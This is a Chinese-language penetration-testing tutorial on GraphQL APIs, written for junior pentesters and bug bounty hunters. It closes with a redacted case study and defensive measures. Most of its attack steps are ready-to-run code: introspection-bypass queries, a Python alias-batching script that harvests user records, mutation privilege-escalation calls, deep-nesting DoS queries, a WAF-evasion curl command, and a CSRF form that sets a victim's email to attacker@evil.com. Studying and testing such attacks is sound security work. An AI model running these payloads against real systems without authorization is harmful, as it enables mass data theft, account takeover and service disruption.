适合人群:初级渗透测试工程师、API安全测试人员、SRC漏洞挖掘者
前置知识:HTTP协议基础、GraphQL基本概念、REST API测试经验
实验环境:Burp Suite + GraphQL IDE(Altair/GraphiQL)+ 在线靶场
一、前置准备
1.1 工具安装
# GraphQL 客户端(推荐 Altair)
npm install -g altair-graphql
# Burp Suite 扩展
# 在 BApp Store 安装:
# - GraphQL Raider(专门测试GraphQL端点)
# - InQL Scanner(扫描器)
# Python 辅助工具
pip3 install graphql-core requests
1.2 靶场搭建
# 本地 GraphQL 漏洞靶场
git clone https://github.com/dolevf/GraphQL-Voyager.git
cd GraphQL-Voyager
docker-compose up -d
# 或使用在线靶场
# https://graphql-vulnerable.herokuapp.com/graphql
二、核心原理
2.1 什么是GraphQL?
GraphQL 是 Facebook 开发的 API 查询语言,核心特点是 客户端决定返回什么数据,而不是像 REST 那样由服务端固定返回结构。
# REST API(过载/欠载)
GET /api/user/1
# 返回: {id, name, email, phone, address, avatar, ...}
# GraphQL(只取你要的)
POST /graphql
{"query": "{ user(id:1) { name email } }"}
# 返回: {"data": {"user": {"name": "张三", "email": "z@x.com"}}}
2.2 GraphQL的攻击面
| 攻击类型 | 严重级别 | 利用难度 | 常见场景 |
|---|---|---|---|
| Introspection 信息泄露 | 🔴 高危 | ⭐ 低 | 生产环境未关Schema查询 |
| 批量数据泄露 | 🔴 高危 | ⭐⭐ 中 | 分页缺失/深度递归 |
| CSRF via GraphQL | 🟠 中危 | ⭐ 低 | 仅GET查询无CSRF Token |
| 认证绕过 | 🔴 高危 | ⭐⭐ 中 | 权限校验仅在REST层 |
| SQL/NoSQL注入 | 🔴 高危 | ⭐⭐⭐ 中 | resolver参数拼接 |
| DDOS/资源耗尽 | 🟡 低危 | ⭐ 低 | 复杂嵌套查询 |
2.3 GraphQL vs REST 安全差异
REST API:
GET /api/users/1 → info泄露可能
POST /api/users → 需要认证
每个端点独立鉴权 ✓
GraphQL API:
POST /graphql → 一个端点处理所有
{user(id:1){email}} → 数据选择权在客户端
鉴权在resolver层 → 容易遗漏 ⚠️
三、实战步骤
🔴 Step 1:发现GraphQL端点
# 常见GraphQL路径
/graphql
/graphiql
/gql
/v1/graphql
/api/graphql
/api/gql
/query
# 快速探测
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' \
-w "\nHTTP %{http_code}"
# 如果返回 {"data":{"__typename":"Query"}} → GraphQL确认
🔴 Step 2:Introspection查询(最关键一步)
很多生产环境忘记关闭 Introspection:
# 完整Schema提取
query IntrospectionQuery {
__schema {
types {
name
fields {
name
type {
name
kind
ofType {
name
kind
}
}
}
}
}
}
使用 InQL 自动化提取:
# Burp Suite InQL Scanner
# 或命令行
python3 inql -t https://target.com/graphql -o /tmp/schema.txt
🔴 Step 3:绕过Introspection限制
如果 __schema 被禁用,尝试绕过:
# 方式1:使用 __type 替代(逐个查询类型)
{"query":"{__type(name:\"User\"){name fields{name type{name}}}}"}
# 方式2:使用内联片段(Inline Fragment)
{"query":"{__schema{types{name fields{name type{...TypeRef}}}}}"}
fragment TypeRef on __Type{name kind ofType{name kind}}
# 方式3:修改 Content-Type / HTTP 方法
# GET 请求有时不检查 introspection 权限
curl -G "https://target.com/graphql" --data-urlencode 'query={__schema{types{name}}}'
# 方式4:使用 aliases 绕过
{"query":"query x{__schema{types{name}}}"}
🔴 Step 4:批量数据泄露(重点)
4.1 深度递归查询(GraphQL Batching Attack)
# 利用关系查询批量拉数据
query {
users(first: 100) {
edges {
node {
id
username
email
role
posts {
title
content
comments {
content
author {
username
email # 三层深度,可能拉取所有数据
}
}
}
}
}
}
}
4.2 别名批量注入(Alias-based Batching)
# 同一查询用别名重复多次,绕过频率限制
query {
u1: user(id:1) { id username email }
u2: user(id:2) { id username email }
u3: user(id:3) { id username email }
# ... 一次性查数千条
u1000: user(id:1000) { id username email }
}
# 自动化脚本
python3 -c "
import requests, json
ids = list(range(1, 1001))
fields = 'id username email phone'
aliases = {f'u{i}': f'user(id:{i}){{{fields}}}' for i in ids}
query = 'query{' + ' '.join(f'{k}:{v}' for k,v in aliases.items()) + '}'
r = requests.post('https://target.com/graphql', json={'query': query})
data = r.json()
users = [v for k,v in data.get('data',{}).items()]
print(f'泄露 {len(users)} 条用户数据')
"
4.3 分页参数绕过
# 尝试不同分页参数
query {
users(first: 1000) { ... }
# 或
users(limit: 1000) { ... }
# 或
users(page: 1, perPage: 10000) { ... }
# 或(cursor-based)
users(after: "Y3Vyc29yMQ==") { ... }
}
🔴 Step 5:认证与授权漏洞
5.1 隐藏字段发现
# 即使用户不能访问的字段,Schema 仍可能暴露
# 比如 admin 才有的字段:
query {
user(id:1) {
username
email
isAdmin # 普通用户能查到吗?
ssn # 敏感字段权限检查完整吗?
creditCard # 这些字段是否被正确鉴权?
}
}
5.2 Mutation(写操作)越权
# 尝试跳过认证直接调用 mutation
mutation {
deleteUser(id: 5) {
success
}
}
mutation {
changeUserRole(userId: 1, role: ADMIN) {
user { id username role }
}
}
5.3 GraphQL CSRF
如果端点支持 GET 请求或 application/x-www-form-urlencoded:
<!-- CSRF PoC -->
<form action="https://target.com/graphql" method="POST">
<input type="hidden" name="query" value='mutation{changeEmail(email:"attacker@evil.com"){success}}'>
<input type="submit">
</form>
<script>document.forms[0].submit()</script>
🔴 Step 6:DDOS/资源耗尽
# 深度嵌套 → 数据库查询爆炸
query {
user(id:1) {
friends {
friends {
friends {
friends {
name # 5层深度,指数级查询
}
}
}
}
}
}
# 循环引用
query {
user(id:1) {
posts {
author {
posts {
author {
posts {
title
}
}
}
}
}
}
}
四、绕过技术
| 限制类型 | 绕过方式 |
|---|---|
| Introspection 关闭 | __type 逐个枚举、GET请求可绕过、Alias绕过 |
| 速率限制 | 别名批量、HTTP/2多路复用、分段查询 |
| 深度限制 | 拆分成多个浅查询 |
| 认证鉴权 | 空Token、格式错误的Token、CSRF |
| WAF拦截 | Content-Type改为x-www-form-urlencoded、请求拆分 |
Content-Type 绕过 WAF
# WAF只检测 application/json,改用 form 编码
curl -X POST https://target.com/graphql \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'query={__schema{types{name}}}'
五、实战案例复盘(脱敏)
场景: 某SaaS平台使用 GraphQL,全站只有 /graphql 一个API端点。
攻击路径:
1. 访问 /graphql 返回 200 → Introspection查询拿到完整Schema
2. Schema 暴露 User 类型包含 phone、ssnLast4、creditCardLast4 字段
3. 用 Alias Batching 一次性查询 500 条 user
4. 发现 `creditCardLast4` 字段未做权限校验
5. 继续深入:`transactions{amount merchant}` 也未鉴权
6. 最终泄露:500用户 × (email + phone + 交易记录)
关键: 问题根源是 resolver层权限检查不完整——部分字段未实现鉴权逻辑。
六、防御建议
| 措施 | 实现方式 | 优先级 |
|---|---|---|
| 关闭 Introspection | 生产环境 introspection: false | 🔴 必须 |
| 速率限制 | 基于IP/Token的查询复杂度计算 | 🔴 必须 |
| 深度限制 | max_depth: 5 | 🔴 必须 |
| 查询白名单 | 持久化查询(Persisted Queries) | 🟠 建议 |
| 字段级鉴权 | 每个 resolver 都检查权限 | 🔴 必须 |
| 超时控制 | 查询超时 10s | 🟠 建议 |
快速修复脚本
// Apollo Server 示例
const server = new ApolloServer({
typeDefs,
resolvers,
introspection: process.env.NODE_ENV !== 'production', // 关闭Introspection
validationRules: [
depthLimit(5), // 限制查询深度
costLimit({ maxCost: 1000 }) // 限制查询成本
]
});
七、常见陷阱
| # | 陷阱 | 正确做法 |
|---|---|---|
| 1 | 只测 REST 端点,忽略 GraphQL | 先扫 /graphql /graphiql /gql |
| 2 | Introspection 返回空就放弃 | 尝试 __type 逐个枚举 |
| 3 | 只测读不测验(Query不测Mutation) | Mutation 越权更多见 |
| 4 | 漏掉 N+1 查询泄漏 | 多层关系嵌套可能暴露整套数据 |
| 5 | Content-Type 只试 application/json | 试 form-urlencoded 绕过WAF |
| 6 | 只有单次请求测试 | 用 Alias 批量并发测试 |
八、总结速查表
GraphQL 安全加固清单
| 测试步骤 | 方法 | 工具/命令 |
|---|---|---|
| 发现端点 | 扫常见路径 | dirsearch -u target.com -e * |
| Introspection | 查完整Schema | Burp InQL / Altair |
| 批量泄露 | Alias注入 | Python脚本 |
| 越权测试 | Mutation调用 | GraphQL Raider |
| 权限绕过 | 字段级测试 | 逐个field查询 |
| CSRF测试 | form提交 | 修改Content-Type |
| DDOS测试 | 深度嵌套 | {x{x{x{x{x}}}}} |
一键检测脚本
# 快速确认 GraphQL + Introspection
curl -s https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name}}}"}' \
| python3 -c "import sys,json; d=json.load(sys.stdin); print('✅ GraphQL + Introspected' if 'data' in d and d['data'] and d['data'].get('__schema') else '❌ No introspection')"